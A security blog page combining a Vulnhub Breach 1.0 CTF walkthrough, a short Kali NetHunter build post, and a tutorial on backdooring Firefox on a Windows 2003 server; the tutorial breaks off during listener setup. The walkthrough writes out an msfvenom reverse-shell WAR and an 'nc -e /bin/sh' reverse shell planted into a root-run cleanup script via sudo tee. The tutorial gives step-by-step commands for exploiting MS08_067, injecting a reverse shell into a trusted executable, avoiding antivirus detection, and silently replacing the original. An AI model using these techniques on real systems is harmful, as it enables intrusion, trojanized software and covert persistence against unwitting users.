Vulnhub – Breach 1.0 boot2root CTF challenge Walkthrough

I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.

First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:

nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery

1_Breach_1.0_boot2root_CTF_nmap_scan

1_Breach_1.0_boot2root_CTF_nmap_scan

I noticed some weird output while running different nmap scans so created a little python script to see what was going on

#!/usr/bin/env python

import os

for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
print “”

A break down of the script:

#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.

import os <– This imports a module called “os” which will let us do some fun stuff with system commands.

for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.

os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50

print “” <– I added this to make the output cleaner

This then gives me the following output which I thought was brilliant 🙂

2_Breach_1.0_boot2root_CTF_nc_trolling

2_Breach_1.0_boot2root_CTF_nc_trolling

Hmm lets connect to port 80 in the browser and see if there is a web page hosted

192.168.110.140:80

3_Breach_1.0_boot2root_CTF_web_page_port_80

3_Breach_1.0_boot2root_CTF_web_page_port_80

Excellent we have the company name Initech.

Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.

It appears like a disgruntled employee caused the breach.

Viewing the page source you can see some strange text in there:

view-source:http://192.168.110.140/

4_Breach_1.0_boot2root_CTF_web_page_source_code

4_Breach_1.0_boot2root_CTF_web_page_source_code

Weird base64?:

<!——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

The image is clickable and brings you to another page:

http://192.168.110.140/initech.html

5_Breach_1.0_boot2root_CTF_web_page_second_site

5_Breach_1.0_boot2root_CTF_web_page_second_site

Two images and an employee portal are now also accessible:

http://192.168.110.140/impresscms/user.php <– Impress CMS user portal

Looking at the image URI directories makes me feel there may be more in that images sub directory:

http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Dropping to /images

http://192.168.110.140/images/

We then get access to a few more images.

6_Breach_1.0_boot2root_CTF_website_images_directory

6_Breach_1.0_boot2root_CTF_website_images_directory

Now we have a few more images to look into and a troll GIF hahaha:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick list of all the images with cat:

cat > _images
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.

for i in $(cat _images); do wget $i; done

I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:

#!/bin/bash

types=”*.png *.jpg *.gif”

for i in $types
do
$(strings $i >> string_output)
done

Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.

7_Breach_1.0_boot2root_CTF_image_strings

7_Breach_1.0_boot2root_CTF_image_strings

Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:

#!/usr/bin/env python

import base64

encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)

decrypted = base64.b64decode(base64.b64decode(encoded))

print decrypted

The following string is printed and it looks like a username and password combo:

pgibbons:damnitfeel$goodtobeagang$ta

Trying the credentials in the CMS platform they work and we get access to his inbox!

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

Working from the bottom up through the emails

http://192.168.110.140/impresscms/readpmsg.php?start=0&total_messages=3

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

http://192.168.110.140/impresscms/readpmsg.php?start=1&total_messages=3

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

http://192.168.110.140/impresscms/readpmsg.php?start=2&total_messages=3

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

We learn a few things from these emails:

1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: registrar@penetrode.com, bob@initech.com, admin@breach.local
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure

Lets pull the keystore first:

Pulling with the link mentioned does nothing

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

But, pulling just the keystore gets the file, move on and keep it for later

13_Breach_1.0_boot2root_CTF_keystore_download

13_Breach_1.0_boot2root_CTF_keystore_download

Lets try logging in as some of these users:

registrar@penetrode.com, bob@initech.com, admin@breach.local

admin and the string found in one of the images “coffeestains” works 🙂

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1

Changing the uid=1 to 2 and 3 logs you in as the other users

Peter Gibbon’s Profile:

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

Michael Bolton’s Profile:

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

New emails found
michael.bolton@initech.com & peter.gibbons@initech.com

Links:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.

Pulling down the PCAP with wget:
wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap

“-I” – simply tells ngrep to read from a file and not an interface

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

Interesting here is the connection to 192.168.110.140:8443 a common apache port.

Next some kali IOC’s are detected

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

Nethunter and exploitdb domains are also egressed to

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

Ngrep just for nethunter IOC’s  with

ngrep -i nethunter -I _SSL_test_phase1.pcap

Using the following ngrep command I searched for some User-Agent Strings which can be handy at times

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick

tcpick -C -yP -r SSL_test_phase1.pcap

Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap

and

tshark -r SSL_test_phase1.pcap

Which lead to what I was looking for the get requests!

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

We now have the following URI’s for 192.168.110.140:

/_M@nag3Me/html
/_M@nag3Me/images/asf-logo.gif
/_M@nag3Me/images/tomcat.gif
/favicon.ico
/cmd/
/cmd/cmd.jsp
/cmd/cmd.jsp?cmd=id

It look’s like a web shell was launched against the management interface with the /cmd/ URI structure

Playing around with tshark switches I find another possible URI

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

47 45 54 20 2f 5f 4d 40  6e 61 67 33 4d 65 2f 69  GET /_M@ nag3Me/i

That looks a bit strange

Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.

tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”

I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information

keytool -list -v -keystore .keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

Using keytool again we can use it to extract the key to a p12 cert

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

Converting the file into a passwordless PEM file

openssl pkcs12 -in key.p12 -out keystore.pem

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

Exporting the private key only:

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.

Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL

Edit the RSA keylist with the following

192.168.110.140 8443 http /keyfile/dir tomcat

We can then see remnants of what look like a war file deployed on the apache management interface:

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

We also get the following URI’s of GIF’s which appear to contain nothing of interest

/_M@nag3Me/images/tomcat.gif
_M@nag3Me/images/asf-logo.gif

And what looks like more base64 in the form of an authorization against the management interface

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

And what looks like more base64 in the form of an authorization against the management interface

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.

35_Breach_1.0_boot2root_CTF_python_decode_base64

35_Breach_1.0_boot2root_CTF_python_decode_base64

Success

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

tomcat:Tt\5D8F(#!*u=G)4m7zB

This might log us in on the apache server

Running nmap against the server on that port confirms it’s an Apache server

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

Running against port 8080 out of curiosity gave back a random perl script

root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORT     STATE SERVICE     VERSION
8080/tcp open  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.12%I=7%D=7/27%Time=57993524%P=x86_64-pc-linux-gnu%r(NU
SF:LL,EC,”/bin/bash\t-c\t{perl,-e,\$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkV
SF:EXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcm
SF:VjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t\$_=\$ARGV\[0\];~s/SPACE/\\t/ig;ev
SF:al;\$_=\$ARGV\[1\];eval\(decode_base64\(\$_\)\);”);
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds

Decoding the base64 in the above output resolves to:

print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 🙂

Username: tomcat
password: Tt\5D8F(#!*u=G)4m7zB

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

Create a raw payload war file with msfvenom to get a reverse shell on the box

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

Upload the war file to the Apache breach server

41_Breach_1.0_boot2root_CTF_WAR_file_upload

41_Breach_1.0_boot2root_CTF_WAR_file_upload

Click on the deployed WAR file to visit it in the browser

42_Breach_1.0_boot2root_CTF_execute_WAR_file

42_Breach_1.0_boot2root_CTF_execute_WAR_file

You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system

43_Breach_1.0_boot2root_CTF_WAR_file_executed

43_Breach_1.0_boot2root_CTF_WAR_file_executed

In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)

nc -lvp 443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

Checking /etc/passwd for anything interesting

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.

cat /var/lib/tomcat6/conf/tomcat-users.xml

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

The badge:

49_Breach_1.0_boot2root_CTF_Milton_badge

49_Breach_1.0_boot2root_CTF_Milton_badge

Checking for any hidden files there are a few but they cannot currently be accessed

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

The same is seen in the blumbergh home folder

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse

52_Breach_1.0_boot2root_CTF_su_blumbergh

52_Breach_1.0_boot2root_CTF_su_blumbergh

Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

Navigating to that directory shows a hacker evasion script 🙂 (This must be what keeps kicking me off the server)

54_Breach_1.0_boot2root_CTF_tidyup_script

54_Breach_1.0_boot2root_CTF_tidyup_script

The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!

55_Breach_1.0_boot2root_CTF_stat_swingline

55_Breach_1.0_boot2root_CTF_stat_swingline

Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output 🙂

56_Breach_1.0_boot2root_CTF_sudo_l

56_Breach_1.0_boot2root_CTF_sudo_l

Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):

echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh

Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!

cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

A quick check the script has been modified:

cat /usr/share/cleanup/tidyup.sh

nc -e /bin/sh 192.168.110.23 443

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

Woohoo, root unlocked 🙂

60_Breach_1.0_boot2root_CTF_Flag_obtained

60_Breach_1.0_boot2root_CTF_Flag_obtained

Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system

base64 flair.jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

base64 -d flair > flair.jpg

“-d” is used for decoding

Opening it from the terminal then with xdg-open

xdg-open flair.jpg

I need to talk about your flair 🙂

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!

 

Kali NetHunter Custom Build – Nexus 7 2013

Hey all I created a script to automate the build and installation of Kali for the 2013 edition of the Nexus 7 and uploaded it to GitHub.

This script allows you to easily deploy Kali Linux NetHunter to the 2013 Nexus 7 (LMY48G) with ease. It can be modified for other devices too.

Prerequisites:
Make sure you have USB debugging enabled on your device.
Make sure you have approved the USB debugging RSA fingerprint for your computer before you continue.

This script uses the Offensive Security scripts and automates the process:

https://github.com/offensive-security/nethunter-LRT.git

https://github.com/offensive-security/kali-nethunter

It builds a marshmallow image with a full chroot (Change flo to a different version if required):

python build.py -d flo –marshmallow –rootfs full –release Kali_Keith_Edition_v1.9

Android stock image is pulled down from Google:

https://dl.google.com/dl/android/aosp/razor-lmy48g-factory-9f37ae5f.tgz

TWRP is downloaded:

https://dl.twrp.me/flo/twrp-3.0.2-0-flo.img

SuperSU is then downloaded:

https://download.chainfire.eu/897/SuperSU/BETA-SuperSU-v2.67-20160121175247.zip?retrieve_file=1

The unlock script is then ran against the device and it sleeps for a minute as you may need to touch the screen to confirm this if not already unlocked.

/bin/bash ./oemUnlock.sh && sleep 1m

Stock image is flashed (Change 32gb to the required version):

/bin/bash ./stockNexusFlash.sh 32gb

Stock flashing can take some time to complete, once it’s finished, update any additional updates that may need to be installed and configure developer options with USB debugging enabled to continue to the next step. Once done click enter.

Flash with your custom Kali NetHunter image, install TWRP and SuperSU:

/bin/bash ./twrpFlash.sh

Have fun 🙂

 

Backdooring Firefox with Veil-Evasion, Backdoor-Factory & Metasploit – Server 2003 MS08_067

In this scenario you have just compromised a Windows 2003 Domain Controller as it was unpatched for MS08_067. You don’t want to create a persistent backdoor on the target system as a vigilant administrator may see the anomaly and investigate. You are happy to wait for some time before you get a shell on the box again. The best bit is the administrator is on the box at the time so it arouses less suspicion and also allows you to spy on the administrator and see what they are doing.

What do you do?

Well you could do many things but what we will cover here is using a system application already installed on the system that we will modify with some shellcode and drop back on the target system creating a backdoor from an executable that is ran frequently on the target system and blends in with the traffic generated. Looking at the desktop shortcuts is an excellent way to see what is commonly used by the user of a system. Either that or they didn’t untick the shortcut box but in saying that there is a strong chance it will be ran in the near future if you are patient and willing to wait. Patience is the key.

I have been meaning to write about Backdoor-Factory for some time now as it’s quite cool, your executable is fully functional after it’s been modified and will continue to work like it did before without any issues if you execute the process of modifying the executable correctly that is. The other reason I wanted to write this was to show how easy it is to do something like this and why you need to scrutinize your downloads or executables, especially if they come from an unknown source like a torrent site for example. Even Altcoin executables have been targeted on forums where unsuspecting end users think they are downloading a reputable miner, when in fact it’s actually backdoored and stealing from them :-/

The combination of Veil-Evasion and Backdoor-Factory together however is an excellent combination for obfuscating your payload on a penetration test and will remain undetected by Anti-Virus as long as you don’t upload the executable file to VirusTotal, uploading the hash to check though is perfectly fine 😉

The point of this article is to not put all your trust in VirusTotal or your system Anti-Virus to confirm that something is clean.

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall

2 – Security Onion <– Monitoring & IDS

4 – Windows Server 2003 <– Domain Controller

5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Exploit a Windows 2003 Domain Controller with Metasploit (MS08_067).

2 – Check the shortcuts on the “All Users” desktop.

3 – Pull one of the executables from behind a shortcut on the desktop and backdoor it with Veil-Evasion using the Backdoor-Factory payload.

4 – Check the hash of the file against VirusTotal.

5 – Upload the backdoored executable to the target system.

6 – Configure a listener with Metasploit to receive the shell on the box when the shortcut is clicked.

7 – Be patient.

Kali Attacker = 192.168.1.102

Windows 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

You’ve already done some reconnaissance with nmap and you know that the system is vulnerable to MS08_067 you then exploit the system with Metasploit’s msfconsole and gain a meterpreter shell on the Windows 2003 Domain Controller.

Msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 192.168.1.105

exploit

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

Check the IP address and the user you’re logged on as on the box:

“ifconfig” checks your IP and MAC address

“getuid” checks the user privilege you currently have on the box which is System 🙂

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

Next, navigate the Windows 2003 directories on the system to locate the “All Users” profile and see what shortcuts are on the desktop.

cd C:\
ls
cd “Documents and Settings”
ls
cd “All Users”
ls

3_meterpreter_changing_directories_Windows_Server_2003

3_meterpreter_changing_directories_Windows_Server_2003

Continuing on

ls
cd Desktop
ls

At this point you will see the shortcuts for “All Users” and notice a shortcut for Mozilla Firefox (because you installed it). Leveraging this information there is a good chance someone will open the browser on the Server at some point and this is what we want. Alternatively system tools are an excellent choice also like the Sysinternals Suite of tools that often will exist on a Windows server. You could backdoor anything from files to installers to executables that are commonly used. Installers are another excellent way to pivot onto other boxes if there is a network share specifically holding installers for quick install on other systems as is often the case, hell you could even backdoor something that is pushed out via Group Policy and target a full Active Directory user base if the scope asks for the worst.

4_meterpreter_changing_directories_Windows_Server_2003_continued

4_meterpreter_changing_directories_Windows_Server_2003_continued

Navigate to the program files directory of Mozilla Firefox on the system as this is where the executable resides that is executed when the shortcut is clicked whether on the desktop or the Program Files directory from the Start Menu.

From the same meterpreter window run the following commands below

Cd “C:\\Program Files\\Mozilla Firefox”
ls | grep firefox.exe

Note the double backslash that needs to be passed as an escape when navigating the Windows directory using the meterpreter compared to the single backslash on a standard Windows console. The quotes are also important to encapsulate the string correctly as it has spaces similar to a Windows system.

Ls | grep firefox.exe is simply checking the contents of the Mozilla Firefox folder that you just changed into and piping it to grep to search for firefox.exe as this is the executable we are going to backdoor.

5_navigating_program_files_Mozilla_Firefox_checking_executable

5_navigating_program_files_Mozilla_Firefox_checking_executable

To download firefox.exe to your Kali system simply run the following from the meterpreter console

download firefox.exe

6_metasploit_meterpreter_download_firefox_exe

6_metasploit_meterpreter_download_firefox_exe

Now that you have the exact original version of the firefox executable on the target system you can backdoor it with Veil-Evasion, it does not come as standard with Kali but it is included in the repository so just run:

apt-get update
apt-get veil-evasion

Follow along with the prompts, they are pretty much self explanatory and you will soon have Veil-Evasion installed on your Kali system and ready to use in no time at all.

7_apt-get_update_and_apt-get_install_veil-evasion_

7_apt-get_update_and_apt-get_install_veil-evasion_

So next thing to do is run Veil-Evasion and get things moving along by running “list” to check the available payloads

8_veil_evasion_started_list

8_veil_evasion_started_list

Select option 18 for the native/backdoor_factory payload and press Enter to continue

9_veil_evasion_started_list_select_backdoor-factory_payload

9_veil_evasion_started_list_select_backdoor-factory_payload

Next you need to modify the backdoor-factory payload options from the default ones seen below

10_veil_evasion_backdoor-factory_payload_options

10_veil_evasion_backdoor-factory_payload_options

Modify the options to that of your local host IP address, local port, path of the original executable (firefox.exe), the patch method to manual and the reverse shell payload you want to use.

Set lhost 192.168.1.102
set lport 443
set original_exe /root/firefox.exe
set patch_method manual
set payload reverse_shell_tcp_inline

11_veil_evasion_backdoor-factory_payload_options_modified

11_veil_evasion_backdoor-factory_payload_options_modified

You can double check your predefined settings by running “info”

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

Once your happy with the settings next you need to run “generate” in order to generate your payload and modify the firefox.exe file to include your reverse shell hidden in shell code. You will need to locate a cave to hide your shellcode in and I find doing this manually works better than letting Backdoor-Factory automatically do this for you. The trick is to find a cave that is bigger than your initial size which is 411 in this case. Option 1 is 472, Option 2 is 551 both of which are only a little bit bigger than the size you are trying to hide your shellcode in so option 3 with a size of 1184 is the best option and should work without any issues for the task at hand. If none of the cave sizes seem of use you can use j to jump and find more caves to use instead until you are happy.

Enter 3 and hit Enter to finish the process

13_veil_evasion_backdoor-factory_payload_generate

13_veil_evasion_backdoor-factory_payload_generate

This should run without issue like this

14_veil_evasion_backdoor-factory_payload_generate_option_selected

14_veil_evasion_backdoor-factory_payload_generate_option_selected

Next you will be prompted for your payload name, enter whatever you want but the payload is firefox so it makes sense to enter firefox for the name.

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

Congratulations, you have just generated your payload. You’ll see the location of the payload file generated in the final output like the screenshot below

16_veil_evasion_backdoor-factory_payload_generated

16_veil_evasion_backdoor-factory_payload_generated

Before continuing it’s wise to check the hash on VirusTotal (not the actual executable as that will be flagged when analyzed). The hash however will not give any of the contents away and will likely remain undetected on the target system.

Change into the directory of the Virus Total Notify tool:

Cd /usr/share/veil-evasion/tools/vt-notify

Run the script with the “-s” option to check the file hash of your backdoored executable and you should see an output like the one below:

./vt-notify -s /var/lib/veil-evasion/output/compiled/firefox

17_veil_evasion_vt-notify_file_hash_check

17_veil_evasion_vt-notify_file_hash_check

Now that you know the hash is not flagged you can safely upload it back to the target system using the meterpreter shell from earlier and use the meterpreter upload command

upload /var/lib/veil-evasion/output/compiled/firefox.exe .

The dot (.) above tells upload to copy the file to the current directory which is the Mozilla Firefox program files directory we had opened earlier.

18_meterpreter_upload_firefox_backdoor

18_meterpreter_upload_firefox_backdoor

Next you need to setup a listener of your choosing but for this guide I will use Metasploits msfconsole to create the listener. At this point exit your current meterpreter session on the target system so that you are back at the msf > prompt.

Configure your listener

use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.1.102
